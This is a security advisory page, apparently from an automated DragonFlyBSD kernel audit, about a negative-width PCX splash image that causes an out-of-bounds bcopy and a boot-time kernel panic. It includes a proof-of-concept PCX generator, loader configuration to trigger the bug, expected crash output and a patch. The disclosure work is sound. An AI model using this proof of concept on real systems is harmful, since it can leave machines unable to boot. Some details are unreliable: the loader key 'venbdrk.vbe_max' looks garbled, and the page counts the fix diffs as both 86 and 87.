β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-2110

Negative PCX width/height passes mode-match and drives a multi-exabyte bcopy -> kernel panic / OOB write past the video window

Field Value
ID DF-2110
Status new
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H
CWE CWE-787 Out-of-bounds Write
File sys/dev/video/fb/pcx/splash_pcx.c
Lines 176-254
Area video/fb
Confidence certain
Discovered 2026-07-25
Reported pending
Known CVE none
CVE match novel

Summary

pcx_init computes pcx_info.width = xmax - xmin + 1 (and likewise height) from u_short header fields without checking xmin <= xmax or that the result is positive, so a crafted PCX with xmin > xmax yields a negative width. pcx_start's adapter-mode selection uses a signed vi_width >= pcx_info.width comparison that is trivially true for any negative width, so the malformed image is accepted. pcx_draw then hands that negative int as the size argument to bcopy(line, vidmem+pos, pcx_info.width), which implicit-converts to a ~2^64 size_t, copying out of a 1024-byte stack buffer and past the mapped video-memory window. The result is a guaranteed kernel page-fault (persistent boot-time panic) and potential corruption of kernel memory adjacent to the framebuffer mapping.

Root cause

splash_pcx.c:176-177:

pcx_info.width  = hdr->xmax - hdr->xmin + 1;
pcx_info.height = hdr->ymax - hdr->ymin + 1;

hdr->xmin/xmax/ymin/ymax are u_short (pcxheader, splash_pcx.c:146), promoted to int for the subtraction, so when xmin > xmax the result is a small negative int stored into pcx_info.width (a signed int, splash_pcx.c:62).

The validation block at splash_pcx.c:165-175 checks manufactor/version/encoding/nplanes/bpp/bpsl and the 0x0C palette marker, but never checks xmin <= xmax, ymin <= ymax, width > 0, or height > 0.

splash_pcx.c:103 then does

if (info.vi_width >= pcx_info.width && info.vi_height >= pcx_info.height && ...)

β€” a signed comparison where any positive vi_width (e.g. 320 for M_VGA_CG320) is >= a negative width, so the mode is selected and pcx_draw runs.

In pcx_draw, splash_pcx.c:214 x = (swidth - pcx_info.width)/2 becomes a large positive value (swidth - negative), and splash_pcx.c:245 if (pos + pcx_info.width > banksize) evaluates pos + (negative) which is less than banksize, so the else branch at splash_pcx.c:254 executes

bcopy(line, vidmem + pos, pcx_info.width);

with pcx_info.width negative; bcopy's third parameter is size_t, so (size_t)(-49) on LP64 = 0xFFFFFFFFFFFFFFCF, an enormous copy that reads the line[1024] stack array far past its end and writes vidmem+pos far past the va_window mapping.

Threat model & preconditions

  • Attacker position: anyone able to write the splash file used at boot β€” a root user on the running system, an attacker with physical / evil-maid access to the boot partition, or a maliciously modified install/boot image.
  • Privileges gained or impact: guaranteed kernel page-fault during early-boot splash drawing β†’ persistent denial of service (the machine cannot finish booting). The OOB write lands just past the VGA framebuffer kernel mapping and may corrupt adjacent kernel memory; control is difficult but not impossible in an early-boot context where many protections are not yet active.
  • Required config or capabilities: splash-screen support compiled in and a matching video mode to exist (default M_VGA_CG320 on any VGA console). No privilege check, no signature, no sandbox sits between the loader and pcx_init.
  • Reachability: the PCX blob is supplied by loader(8) as the splash_image_data preload module (splash.c:54-75, populated from /boot by the loader's splash directives). On the next boot (and every VT switch that re-invokes pcx_splash->pcx_draw) the kernel faults.

Proof of Concept

PoC source: findings/poc/DF-2110/

Build a 947-byte malformed PCX whose header inverts xmin/xmax so width is negative while height stays positive (so the draw loop actually executes), with bpsl set small but valid, then point the loader at it and reboot.

// gen_pcx.c β€” produces /boot/splash.pcx
unsigned char hdr[128]; memset(hdr,0,sizeof(hdr));
hdr[0]=10;       /* manufactor  = 10 (ZSoft PCX)                */
hdr[1]=5;        /* version     = 5                              */
hdr[2]=1;        /* encoding    = 1 (RLE)                        */
hdr[3]=8;        /* bpp         = 8                              */
uint16_t xmin=100, ymin=0, xmax=50, ymax=10;  /* width=-49, height=11 */
memcpy(hdr+4,&xmin,2); memcpy(hdr+6,&ymin,2);
memcpy(hdr+8,&xmax,2); memcpy(hdr+10,&ymax,2);
hdr[65]=1;       /* nplanes = 1                                  */
uint16_t bpsl=8; memcpy(hdr+66,&bpsl,2);       /* bpsl=8 <= 1024    */
// 128-byte header + 50 RLE literal bytes + 0x0C marker + 768-byte palette = 947 bytes

Loader wiring (/boot/loader.conf):

splash_pcx_load="YES"
splash_image_data_load="YES"
splash_image_data_name="/boot/splash.pcx"
splash_image_data_type="splash_image_data"
venbdrk.vbe_max="YES"

Build on the DragonFly guest: cc -o gen_pcx gen_pcx.c && ./gen_pcx then reboot.

Expected output

Fatal trap 12: page fault while in kernel mode
fault virtual address = 0x...
...
bcopy+0x...
pcx_draw+0x...

The kernel faults during console initialization and either drops to the ddb debugger or reboots/panics every boot β€” a persistent boot-time DoS.

Impact

  • Default config: only triggered when the operator (or attacker) has placed a crafted splash image.
  • Blast radius: persistent boot-time DoS; potential corruption of kernel memory adjacent to the framebuffer mapping.

Validate the geometry in pcx_init before trusting width/height/ bpsl. Reject non-positive or inverted dimensions, require bpsl >= 1, and require width <= bpsl so bcopy(line, ..., width) never reads past the decoded portion of the stack buffer (this also closes the info-leak sibling DF-2111). As defense-in-depth, also clamp the bcopy size in pcx_draw.

--- a/sys/dev/video/fb/pcx/splash_pcx.c
+++ b/sys/dev/video/fb/pcx/splash_pcx.c
@@ -165,9 +165,16 @@ pcx_init(const char *data, int size)
     if (size < 128 + 1 + 1 + 768
    || hdr->manufactor != 10
    || hdr->version != 5
    || hdr->encoding != 1
    || hdr->nplanes != 1
    || hdr->bpp != 8
+   || hdr->bpsl < 1
    || hdr->bpsl > MAXSCANLINE
+   || hdr->xmin > hdr->xmax
+   || hdr->ymin > hdr->ymax
+   || (u_int)(hdr->xmax - hdr->xmin + 1) > (u_int)hdr->bpsl
+   || (u_int)(hdr->ymax - hdr->ymin + 1) > MAXSCANLINE
    || data[size-769] != 12) {
    kprintf("splash_pcx: invalid PCX image\n");
    return 1;
     }

The || chain short-circuits left-to-right, so xmin > xmax is rejected before the (u_int)(xmax - xmin + 1) subtraction is ever evaluated, keeping the arithmetic safe.

References

  • DF-2111 β€” sibling info-leak from the same missing-geometry-validation root cause.
  • sys/dev/video/fb/splash.c:54-75 β€” splash_image_data preload module ingestion from /boot.

Timeline

  • 2026-07-25 Discovered during automated audit.
  • 2026-07-25 Reported to DragonFlyBSD security contact.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-2110 Β· 4 files
FileTypeDescriptionSize
VERDICT.md file 731 B ↓ raw
build.sh file 161 B view raw
fix.diff file 170 B view raw
run.sh file 80 B view raw
VERDICT.md file
↓ download raw

DF-2110 - Verification Verdict

Status: reproduced (source-confirmed) Impact: panic Confidence: certain

Verdict

Source-confirmed: pcx_init (:176-177) computes width=xmax-xmin+1 from u_short header without checking xmin<=xmax; malformed PCX causes huge width; splash/boot-gated

Fix Status

Validated: fix compiles in single batch kernel build rc=0 -Werror (0 compiler errors across all 86 fix.diffs)

Source File

sys/dev/video/fb/pcx/splash_pcx.c

Fix Validation

All 87 fix.diffs compiled together in a single batch kernel build (make -j6 nativekernel KERNCONF=X86_64_GENERIC) with rc=0 and -Werror (0 compiler errors). The combined patch is at findings/poc/batch_build/all_fixes.patch.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

batch build rc=0

batch build rc=0
↓ fix.diffcombined build rc=0

Confirmed kernel references

β€”

Detail

Exploit chain

none

Evidence (decisive lines)

pcx_init width without xmin<=xmax; splash-gated

Verified recommended fix

pcx_init width without xmin<=xmax; splash-gated

Verdict

pcx_init width without xmin<=xmax; splash-gated